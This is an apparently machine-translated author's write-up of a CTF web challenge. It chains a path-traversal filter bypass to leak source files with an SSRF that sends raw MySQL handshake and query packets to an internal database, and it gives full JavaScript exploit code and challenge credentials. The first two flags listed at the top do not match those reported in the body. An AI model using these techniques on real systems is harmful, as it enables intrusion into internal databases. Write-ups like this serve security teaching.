Financial Security Institute FIESTA 2021 - Author's Writeup
Challenge author's solution for the 'FSI cha tin gse rvi ce!' web hacking challenge - arbitrary MySQL query execution via SSRF
This post was machine-translated from Korean by AI. Some expressions may differ from the original.
Read the original (Korean)If you'd like to run it locally and try solving the challenge yourself, you can get the original challenge files from the GitHub link below.
https://github.com/JaewookYou/fiesta2021_webchall_FSI-cha-tin-gse-rvi-ce
fiesta2021_webchall
Challenge Name: FSI cha tin gse rvi ce!
- Author: Jaewook You, Associate, Security Assessment Team 2
- Category: Web Hacking
- Total Points: 600
- Flag1 (100 pts):
fiesta{ok_y0u_g0t_the_ext_server's_code!_lets_dig_the_2nd_flag!} - Flag2 (100 pts):
fiesta{congrat_y0u_g0t_all_of_th3_ext&int_server's_code!} - Flag3 (400 pts):
fiesta{mysql_int3rner_1s_s0_fun_isnt_1t?} - Description
- `Company A recently purchased a chat service from Company B, a solution vendor that develops and provides chat services, and integrated it with Company A's servers... As an employee of Company A's internal security vulnerability analysis team, you have been given the task of finding out whether this integrated chat service is safe. Let's prove whether there is a possibility of the chat service's internal-network database being leaked by obtaining the Flag that exists in the internal database.
- This challenge has a total of 3 Flags. The final Flag exists in the flag table of the internal database.
- The server is reset every 30 minutes.
- This challenge is optimized for the Chrome browser.`
How to Run the Challenge
- Start:
nohup ./run.sh& - Pause:
./stop.sh - Logs:
nohup ./logs.sh&thentail -f ./logs.txt - When run.sh is executed, the server is fully reset and restarted once every 30 minutes.
Challenge Concept
- The overall framework of the entire challenge service is a chat service
- It is structured in a context similar to the chat-consultation service environments I encountered while performing vulnerability analysis assessments at various financial institutions
- Typically, such services are implemented by bringing in an external chat-consultation service and integrating it
- For this reason, there is a separate chat-consultation service server, and the web server plays the role of relaying between the client and the chat-consultation service
- In this kind of environment, the threat that arises if an SSRF (Server Side Request Forgery) vulnerability exists in the relay service is the key point for solving the challenge
- Vulnerabilities arise due to improper exception handling, improper filtering, processing critical logic with user-supplied input, and so on; you have to chain all of these together to solve the challenge
Challenge Environment
- The server language is python flask
- flask_socketio (external-network web server) / socketserver (internal-network chat API server) / mysql (internal-network chat database server)
- The client and the web server communicate via socketio, and the web server parses the data received from the client and sends it to the internal-network chat API server
- The internal-network chat API server queries the chat Database based on the data received from the web server and returns the result back to the web server
- The web server passes the returned chat-related data to the client
Author's Write-Up
- First, if you look at the Dockerfiles provided with the challenge, you can see that it consists of three servers: the external network, the internal network, and the database.
- For the database, you can confirm that it is using version 5.7.
- You need to keep these points in mind as you work through the challenge.
Leaking the External-Network Source Code, First Flag
-
First, let's look at the image-sending feature.
-
On the client side, it is transformed into the
data:image/pngform and sent base64-encoded. -
There is also a filename parameter, and you can tell from the chat data returned in the response that this parameterāi.e., the file nameāgets written into the message content.
-
When you put certain characters such as
'into filename, you can see that they are replaced and disappear from the file name. -
You can also see that among strings that allow relative-path traversal such as
../, the..is being replaced. -
If you mix the two above and construct something like
.'./, you end up with a../that enables relative-path traversal -
Using this, if you register with a file name like
.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./etc/passwdin the filename parameter, the file name turns into../../../../../../../../etc/passwd. -
It shows an upload error, but if you look at the actual upload result,
HTTP/1.0 200 OK
Content-Type: text/plain; charset=UTF-8
Access-Control-Allow-Credentials: true
Connection: close
Server: Werkzeug/2.0.1 Python/3.8.10
Date: Thu, 12 Aug 2021 10:40:43 GMT
42["uploadImageResult","[x] upload \"/app/ext_app/uploads/test/../../../../../../../../../../../etc/passwd\" error"]-
As shown above, the absolute path under the webroot is exposed.
-
And when you refresh and load the chat messages, you can see that it reads the file at the path you entered by bypassing the filtering (/etc/passwd in this case) and inserts it into an img tag.
-
Now, assuming
/app/ext_app/is the path where the web server is running, if you enter/app/ext_app/app.pyinto the filename parameter, you can obtain the external-network source code. -
First flag obtained fiesta{th1s_1s_the_st4rt_0f_th3_ch4ll3ng3}
Leaking the Internal-Network Source Code, Second Flag
-
First, looking at the routine that uploads a profile image during sign-up: because the file content is transmitted to the internal network via socket communication, the file ends up on the internal-network server
-
If you upload a profile image smaller than 16kb, the profile image is fetched in the
/getProfileImage?id={id}format when chatting. -
Looking at the response value of
/getProfileImage, the server returnscontent(an image transformed into data:image/png form)andfilename(the uploaded file name). -
When registering, if you put certain characters such as
'into filename, you can confirm that they are replaced and disappear from the file name. -
Just like when obtaining the external-network source code, entering
.'./yields../. -
Using this, if you register with a file name like
.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./.'./etc/passwdduring sign-up, /etc/passwd will be leaked -
Just like when obtaining the external-network source code, the absolute path is being exposed in the response message.
-
And even if an error occurs like this, when you log in with the id and pw you tried to register with, you can confirm that it logs in normally. (improper exception handling)
-
As shown above, after logging in, through
/getProfileImage?id={userid}you can confirm that the profile image of the id you registered with ../../../../etc/passwd contains the file contents of /etc/passwd. -
Just like with the external network, if you leak
/app/int_app/app.pybased on the exposed absolute path, you can obtain the internal-network source code and the second flag.
Second flag obtained fiesta{cheerup!_y0u_c0uld_s0lve_the_l4st_p4rt!}
Arbitrary MySQL Query Execution via SSRF, the Final Flag
- Now, using the leaked source code, we can analyze it as a white box.
- The external network and the internal network communicate with each other over sockets. The socket used here is managed in memory, in a dict called
usersin the external-network flask, keyed by each session's uuid, in order to maintain the session.
# ext_app/app.py
def sessionCheck(loginCheck=False):
...
if flask.session["uuid"] not in users:
flask.session["host"] = ("172.22.0.4",9091)
print(f"[+] new socket conn {flask.session['uuid']}")
users[flask.session["uuid"]] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
users[flask.session["uuid"]].connect(flask.session["host"])- On each page access, this session is checked via the
sessionCheckfunction to see whether you currently hold a session; if you don't, it stores172.22.0.4:9091(internal network)insession['host']and connects the socket through this.
# ext_app/app.py
@socket_io.on("join")
def join(content):
channel = content['channel']
userid = content['userid']
if flask.session["userid"] == userid and flask.session["uuid"] == channel:
if 'chatserver' in content:
if flask.session["uuid"] in users:
users[flask.session["uuid"]].close()
chatserver = content['chatserver']
t = chatserver.split(':')
flask.session["host"] = (t[0], int(t[1]))
users[flask.session["uuid"]] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
users[flask.session["uuid"]].connect(flask.session["host"])
flask.session["channel"] = channel
flask_socketio.join_room(channel)
sioemit("join",{"result":"success"}, channel)
else:
sioemit("join",{"result":"fail"}, channel)- However, when socket.io emits with "join", if there is a parameter called
chatserveramong the parameters requested by the client, it resetssession["host"]via that parameter and re-establishes the socket connection based on it.
/* exploit.js */
var sock = io.connect(`ws://52.78.132.206:9090/`);
sock.on('connect', function(){
var data = {'channel':uuid, 'userid':userid, 'chatserver': '172.22.0.5:3306'};
sock.emit("join",data);
});- Therefore, as shown above, an SSRF vulnerability arises that allows sending raw packets to an arbitrary host and port via the
chatserverparameter requested when emitting to thejoinnamespace.
# int_app/app.py
class mysqlapi:
def __init__(self):
self.conn = pymysql.connect(
user = 'chatdb_admin',
passwd = 'th1s_1s_ch4tdb_4dm1n_p4ssw0rd',
host = '172.22.0.5',
db = 'chatdb',
charset = 'utf8'
)- The internal-network app.py contains the information for establishing the db connection. So if you reproduce exactly the connection process that a mysql client goes through with a mysql server and then send a query, it will return the result of the sent query.
# ext_app/app.py
@socket_io.on("chatsend")
def chatsend(content):
if not sessionCheck(loginCheck=True):
resp = "[x] please login"
sioemit("newchat", resp, flask.session["channel"])
return
if "sendtome" in content:
sendtome_flag = True
else:
sendtome_flag = False
try:
if type(content) != dict:
content = content.encode('latin-1')
content = json.loads(content)
if content["from"] != flask.session["userid"]:
print(f"[x] {content['from']} != {flask.session['userid']}")
return "[x] request from user is different from session"
if content["msg"] == "":
return "[x] blank content. please input content"
except Exception as e:
pass
resp = socksend(users[flask.session["uuid"]], content)
if sendtome_flag:
sioemit("newchat", resp, users[flask.session["userid"]])
else:
sioemit("newchat", resp, users[resp["to"]])
sioemit("newchat", resp, users[resp["from"]])-
To trigger the SSRF and send a raw packet, you have to make use of the mishandled exception-handling block
-
Normally, a legitimate request from the client would be sent correctly in json format. If content that doesn't conform to the json format is sent, an exception occurs at
content = json.loads(content)and execution goes to the exception-handling block. -
But here the except block just does a bare pass and moves on. As a result, with the previous line
content = content.encode('latin-1')(the line before the error) already executed, the user's input remains in the content variable as-is, and it is passed as-is as the argument to theresp = socksend(users[flask.session["uuid"]], content)statement and sent. -
Therefore, you can send any arbitrary raw packet you want over the socket.
-
However, the response received after sending needs to be properly delivered to the client. Whereas sending it to myself uses
flask.session["userid"]as the key of theusersdict, when not sending it to myselfāin order to send to both the sender's and the receiver's socket.io channelsāit takes the result of the socket transmission and parses the sender and receiver from it. -
Since the response we get from sending a raw packet directly to mysql naturally contains no sender or receiver information, the
sendtome_flagmust be enabled in order to receive the response to the raw-packet transmission on the client. -
The
sendtome_flagis set in theif "sendtome" in content:conditional, which checks whethersendtomeis in content. If content were json, this would be a conditional that checks whether a key named sendtome exists in the content dictionary; but when sending as a raw packet, it becomes a conditional that checks whether the word sendtome exists in the string-type content, so as long as sendtome is included in the packet, you can enable the branch that sends to me. -
Now we need to reproduce the mysql connection process with raw packets,
-
The common case of building a payload with the well-known
Gopherousis when there is no password for the mysql connection. If a password exists, you need to look at which authentication method the mysql server has been configured with; mysql version 5 usesmysql_native_password. (version 8.0 and above usescaching_sha2_password) -
Since we confirmed from the given Dockerfile that the mysql version is 5.7, in order to reproduce the mysql connection via SSRF, we need to understand the construction principle of mysql_native_password and the connection process.
-
If you look at mysql internals - connection phase packets, the connection process is described there; but if you just set up an environment with wireshark and capture the connection phase yourself, you can confirm that it proceeds as follows.
- server greeting (sent by the server upon connection)
- send login request -> receive server seed
- send mysql_native_password hash->receive auth ok
- (if password match) send mysql query -> receive query result
SHA1( password ) XOR SHA1( "20-bytes random data from server(seed)" + SHA1( SHA1( password ) ) )- In step 1, you receive the seed from the server, combine it with the db password to generate a hash like the one above, then in step 2 send it to the server and check its response.
- So you just need to construct raw packets that go through the steps above, but the problem is that the
sendtomeāi.e., the send-to-meāfeature must be enabled in order to receive the response of a raw packet send without errors, so the string "sendtome" has to be included in each step's packet.
0. server greeting (connection ģ ģė²ź° ģ ģ”)
1. send login request -> receive server seed
2. send mysql_native_password hash->receive auth ok
3. (if password match) send mysql query -> receive query result- Exchanging packets in mysql corresponds to the Application Layer in networking, and because of how mysql exchanges packets, operations such as
constructing several consecutive packets to be sent at once ("AAAABBBBCCCC")orsplitting one packet into two for transmission ("AA","AA")are possible. - Taking advantage of this, you need to construct the mysql connection & query packetsāwhich consist of the steps aboveāso that the string sendtome can be included in each packet. Because there is a step in the middle where you receive the server seed and use it to generate the password hash, you have to split the packets into at least two stages while making sure the sendtome string gets inside each packet.
- However, since the current process of exchanging data over the socket only does 1:1 exchanges like send->recv->send->recv, even if you send the login request in step 1, the first recv will receive the server greeting packet that the server sends upon connection.
- Therefore, to receive the server seed, recv needs to be executed twice after a send, and to achieve this we use the
splitting one packet into two for transmission ("AA","AA")method described above.
function step1(){
// step 1
//b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'
p1 = convertFromHex("cb0000018da2bf0900000001ff00000000000000000000000000000000000000000000006368617464625f61646d696e00006368617464620063616368696e675f736861325f70617373776f72640074045f706964053136343139095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c076f735f75736572056172616e670f5f636c69656e745f76657273696f6e06382e302e32330c70726f6772616d5f6e616d650573656e64746f6d65")
setTimeout(function(){console.log("send 1 round");sock.emit("chatsend", p1);},500)
setTimeout(function(){console.log("send 2 round");sock.emit("chatsend", "sendtome");},1500)
}- The first packet
b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'- The second packet
b'sendtome'- The first 3 bytes of a mysql raw packet are the length of the packet that follows; by tampering with this appropriately and sending everything except the last 8 bytes of sendtome, we induce a
TCP segment of a reassembled PDUand make it go send -> recv -> (send, the original first packet) -> recv.
async function step2(serverSeed){
//// mysql native password hashing process
// SHA1( password ) XOR SHA1( "20-bytes random data from server" <concat> SHA1( SHA1( password ) ) )
console.log("[+] seed "+btoa(serverSeed));
var sp = await sha1(password);
var ssp = await sha1(convertFromHex(sp))
var sssp = await sha1(serverSeed+convertFromHex(ssp))
console.log("[+] sssp "+btoa(sssp));
var hashedPassword = xor( convertFromHex(sp), convertFromHex(sssp) );
console.log("[+] hashed password "+btoa(hashedPassword))
var p1 = "\x14\x00\x00\x03"+hashedPassword
var query = "select * from flag#sendtome";
var p2 = `${String.fromCharCode(query.length+9)}\x00\x00\x00\x03${query}`
var packet = p1+p2;
setTimeout(function(){console.log("send 3 round");sock.emit("chatsend", packet);},500)
setTimeout(function(){console.log("send 4 round");sock.emit("chatsend", "sendtome");},1500)
}-
Now that we have obtained the server seed, we combine the db password found in the internal-network code with the server seed to create the password hash.
-
This time, by merging two packets into one and sending them at once ("AAAABBBB"), we send the password-hash packet and the query-request packet merged together, and by manipulating the request length of the query-request packet, we set it to the length needed to send sendtome (8 bytes)
-
If you set the query up like
select * from flag#sendtome, commenting out the end so that it remains a valid query even with sendtome appended, and send it, the flag comes flying back through the exchange with the server -
The explanation is too complex, so to summarize it with a diagram and text, it is as follows.```
- [TCP reassemble A] send login request
- [TCP reassemble A] send sendtome (8 bytes)
- [B] password hash + [TCP reassemble C] send query request (+#sendtome)
- [TCP reassemble C] send sendtome (8 bytes)
Final Exploit Code and the Last Flag
The last flag fiesta{mysql_int3rner_1s_s0_fun_isnt_1t?}
// author(arang)'s writeup
function ab2str(buf) {
return new TextDecoder().decode(buf)
}
function Latin1ToUint8Array(iso_8859_1){
var uInt8Arr = new Uint8Array(iso_8859_1.length);
for(var i=0; i<iso_8859_1.length; i++){
uInt8Arr[i] = iso_8859_1.charCodeAt(i);
}
return uInt8Arr;
}
function xor(key, phrase){
var r = "";
for(var i=0; i<phrase.length; i++){
r += String.fromCharCode( key.charCodeAt(i%key.length) ^ phrase.charCodeAt(i) );
}
return r;
}
function convertFromHex(hex) {
var hex = hex.toString();
var str = '';
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
return str;
}
function addScript(cdnurl){
var cjs_script = document.createElement("script");
cjs_script.setAttribute('src',cdnurl);
document.body.insertBefore(cjs_script,document.body.firstChild);
}
async function sha1(message) {
const msgUint8 = Latin1ToUint8Array(message);
const hashBuffer = await Crypto.SHA1(msgUint8, {asBytes: true});
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
return hashHex;
}
function step1(){
// step 1
//b'\xcb\x00\x00\x01\x8d\xa2\xbf\t\x00\x00\x00\x01\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00chatdb_admin\x00\x00chatdb\x00caching_sha2_password\x00t\x04_pid\x0516419\t_platform\x06x86_64\x03_os\x05Linux\x0c_client_name\x08libmysql\x07os_user\x05arang\x0f_client_version\x068.0.23\x0cprogram_name\x05sendtome'
p1 = convertFromHex("cb0000018da2bf0900000001ff00000000000000000000000000000000000000000000006368617464625f61646d696e00006368617464620063616368696e675f736861325f70617373776f72640074045f706964053136343139095f706c6174666f726d067838365f3634035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c076f735f75736572056172616e670f5f636c69656e745f76657273696f6e06382e302e32330c70726f6772616d5f6e616d650573656e64746f6d65")
setTimeout(function(){console.log("send 1 round");sock.emit("chatsend", p1);},500)
setTimeout(function(){console.log("send 2 round");sock.emit("chatsend", "sendtome");},1500)
}
async function step2(serverSeed){
//// mysql native password hashing process
// SHA1( password ) XOR SHA1( "20-bytes random data from server" <concat> SHA1( SHA1( password ) ) )
console.log("[+] seed "+btoa(serverSeed));
var sp = await sha1(password);
var ssp = await sha1(convertFromHex(sp))
var sssp = await sha1(serverSeed+convertFromHex(ssp))
console.log("[+] sssp "+btoa(sssp));
var hashedPassword = xor( convertFromHex(sp), convertFromHex(sssp) );
console.log("[+] hashed password "+btoa(hashedPassword))
var p1 = "\x14\x00\x00\x03"+hashedPassword
var query = "select * from flag#sendtome";
var p2 = `${String.fromCharCode(query.length+9)}\x00\x00\x00\x03${query}`
var packet = p1+p2;
setTimeout(function(){console.log("send 3 round");sock.emit("chatsend", packet);},500)
setTimeout(function(){console.log("send 4 round");sock.emit("chatsend", "sendtome");},1500)
}
var round = 0;
var sock = io.connect(`ws://52.78.132.206:9090/`);
sock.on('connect', function(){
var data = {'channel':uuid, 'userid':userid, 'chatserver': '172.22.0.5:3306'};
sock.emit("join",data);
});
sock.on('join', function(data){
console.log(data)
if(data["result"] == "fail"){
alert("join room fail")
}
})
// when get a new chat message
sock.on('newchat', function(data){
var result = data;
console.log("[+] newchat "+result);
round += 1
if (round == 2){
console.log("[+] yeah! I got the server seed")
var serverSeed = result.split("native_password\x00")[1].slice(0,-1);
step2(serverSeed);
}
})
var password = "th1s_1s_ch4tdb_4dm1n_p4ssw0rd";
addScript("https://arang.kr/sha1.js");
step1();
Comments